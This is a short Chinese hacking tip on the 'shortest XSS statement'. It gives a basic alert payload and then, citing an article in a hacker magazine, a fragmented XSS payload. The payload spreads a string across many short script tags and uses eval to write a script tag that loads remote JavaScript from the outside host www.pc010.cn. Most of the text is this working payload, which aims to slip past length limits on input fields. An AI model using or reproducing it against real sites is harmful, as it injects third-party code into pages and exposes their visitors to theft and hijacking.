最短的跨站语句是多少?要放在以前,我一定会这样想,正常的跨站代码:<script>alert("a")</script> ,查一下,一共27个字符。嘿嘿,不过,这之前我在《黑客手册》上看到了他的一篇文章,《疯狂的跨站之行》,在这其中提到了跨站语句的另一种方法:
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.pc010'</script>
<script>z=z+'.cn/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>